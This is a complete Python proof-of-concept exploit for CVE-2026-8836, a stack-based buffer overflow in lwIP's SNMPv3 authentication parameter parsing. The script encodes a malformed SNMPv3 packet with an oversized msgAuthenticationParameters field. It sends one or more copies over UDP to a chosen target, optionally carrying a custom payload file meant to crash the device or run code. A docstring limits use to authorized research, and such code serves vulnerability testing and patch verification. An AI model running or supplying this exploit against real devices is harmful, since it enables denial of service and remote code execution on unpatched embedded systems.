#!/usr/bin/env python3
"""
CVE-2026-8836 — lwIP SNMPv3 Stack-Based Buffer Overflow PoC

A proof-of-concept exploit for the stack-based buffer overflow in lwIP's
SNMPv3 USM handler (snmp_parse_inbound_frame). The vulnerability is caused
by a commented-out bounds check and an incorrect buffer-size parameter in
snmp_asn1_dec_raw(), allowing a remote, unauthenticated attacker to overflow
the 12-byte msg_authentication_parameters buffer on the stack.

Affected: lwIP <= 2.2.1 with LWIP_SNMP_V3 enabled
Fix: https://github.com/lwip-tcpip/lwip/commit/0c957ec03054eb6c8205e9c9d1d05d90ada3898c

DISCLAIMER: This PoC is for authorized security research and educational
purposes only. Do not use against systems you do not own or have explicit
permission to test.
"""

import argparse
import socket
import struct
import sys


class ASN1Encoder:
    def __init__(self):
        self.buffer = bytearray()

    def _encode_length(self, length):
        if length < 0x80:
            return bytes([length])
        elif length < 0x100:
            return bytes([0x81, length])
        elif length < 0x10000:
            return bytes([0x82, (length >> 8) & 0xFF, length & 0xFF])
        else:
            raise ValueError(f"Length too large: {length}")

    def _encode_tlv(self, tag, value):
        return bytes([tag]) + self._encode_length(len(value)) + value

    def integer(self, value):
        if value < 0:
            if value >= -128:
                encoded = struct.pack(">b", value)
            elif value >= -32768:
                encoded = struct.pack(">h", value)
            else:
                encoded = struct.pack(">i", value)
        else:
            if value <= 127:
                encoded = struct.pack(">B", value)
            elif value <= 255:
                encoded = struct.pack(">BB", 0, value)
            elif value <= 65535:
                encoded = struct.pack(">H", value)
            else:
                encoded = struct.pack(">I", value)
        return self._encode_tlv(0x02, encoded)

    def octet_string(self, data):
        if isinstance(data, str):
            data = data.encode()
        return self._encode_tlv(0x04, data)

    def sequence(self, items):
        content = b"".join(items)
        return self._encode_tlv(0x30, content)

    def null(self):
        return bytes([0x05, 0x00])

    def object_identifier(self, oid_str):
        parts = [int(x) for x in oid_str.split(".")]
        if len(parts) < 2 or parts[0] > 6 or parts[1] > 39:
            raise ValueError(f"Invalid OID: {oid_str}")

        encoded = bytearray()
        encoded.append(parts[0] * 40 + parts[1])
        for part in parts[2:]:
            if part == 0:
                encoded.append(0)
            else:
                sub_encoding = []
                val = part
                while val > 0:
                    sub_encoding.append((val & 0x7F) | 0x80)
                    val >>= 7
                sub_encoding[0] &= 0x7F
                encoded.extend(reversed(sub_encoding))

        return self._encode_tlv(0x06, bytes(encoded))


def build_get_request_pdu(oid, request_id=1):
    enc = ASN1Encoder()
    varbind = enc.sequence([
        enc.object_identifier(oid),
        enc.null(),
    ])
    varbind_list = enc.sequence([varbind])
    pdu = enc._encode_tlv(0xA0, b"".join([
        enc.integer(request_id),
        enc.integer(0),
        enc.integer(0),
        varbind_list,
    ]))
    return pdu


def build_malicious_snmpv3_packet(overflow_size=256, payload=None, request_id=1):
    enc = ASN1Encoder()

    if payload is None:
        overflow_data = b"\x41" * overflow_size
    else:
        if len(payload) > overflow_size:
            overflow_data = payload[:overflow_size]
        else:
            overflow_data = payload + b"\x00" * (overflow_size - len(payload))

    usm_security_params = enc.sequence([
        enc.octet_string(b"\x00"),
        enc.integer(0),
        enc.integer(0),
        enc.octet_string(b""),
        enc.octet_string(overflow_data),
        enc.octet_string(b""),
    ])

    pdu_data = build_get_request_pdu("1.3.6.1.2.1.1.1.0", request_id)
    scoped_pdu = enc.sequence([
        enc.octet_string(b""),
        enc.octet_string(b""),
        pdu_data,
    ])

    header_data = enc.sequence([
        enc.integer(1),
        enc.integer(65507),
        enc.octet_string(b"\x00"),
        enc.integer(3),
    ])

    snmpv3_message = enc.sequence([
        enc.integer(3),
        header_data,
        enc.octet_string(usm_security_params),
        scoped_pdu,
    ])

    return snmpv3_message


def send_packet(target, port, packet):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(5)
    try:
        sock.sendto(packet, (target, port))
        return True
    except Exception as e:
        print(f"[-] Error sending packet: {e}")
        return False
    finally:
        sock.close()


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-8836 lwIP SNMPv3 Stack Overflow PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target 192.168.1.100
  %(prog)s --target 192.168.1.100 --overflow-size 512
  %(prog)s --target 192.168.1.100 --overflow-size 4096 --payload-file payload.bin
        """,
    )
    parser.add_argument("--target", required=True, help="Target IP address")
    parser.add_argument("--port", type=int, default=161, help="SNMP port (default: 161)")
    parser.add_argument(
        "--overflow-size",
        type=int,
        default=256,
        help="Size of msgAuthenticationParameters TLV value (default: 256)",
    )
    parser.add_argument(
        "--payload-file",
        help="File containing custom payload bytes for the overflow",
    )
    parser.add_argument(
        "--count",
        type=int,
        default=1,
        help="Number of packets to send (default: 1)",
    )
    parser.add_argument(
        "--delay",
        type=float,
        default=0.0,
        help="Delay between packets in seconds (default: 0)",
    )

    args = parser.parse_args()

    payload = None
    if args.payload_file:
        try:
            with open(args.payload_file, "rb") as f:
                payload = f.read()
            print(f"[*] Loaded payload: {args.payload_file} ({len(payload)} bytes)")
        except FileNotFoundError:
            print(f"[-] Payload file not found: {args.payload_file}")
            sys.exit(1)

    print(f"[*] Building malicious SNMPv3 packet...")
    print(f"[*] msgAuthenticationParameters TLV length: {args.overflow_size} (buffer size: 12)")
    print(f"[*] Overflow: {args.overflow_size - 12} bytes past buffer boundary")

    if args.overflow_size <= 12:
        print(f"[!] Warning: overflow-size ({args.overflow_size}) <= buffer size (12). No overflow will occur.")

    import time

    for i in range(args.count):
        packet = build_malicious_snmpv3_packet(
            overflow_size=args.overflow_size,
            payload=payload,
            request_id=i + 1,
        )
        print(f"[*] Packet {i+1}/{args.count}: {len(packet)} bytes → {args.target}:{args.port}")
        if send_packet(args.target, args.port, packet):
            print(f"[+] Packet {i+1} sent successfully.")
        else:
            print(f"[-] Packet {i+1} failed to send.")

        if args.delay > 0 and i < args.count - 1:
            time.sleep(args.delay)

    print(f"[*] Done. Target should crash or execute payload if vulnerable.")


if __name__ == "__main__":
    main()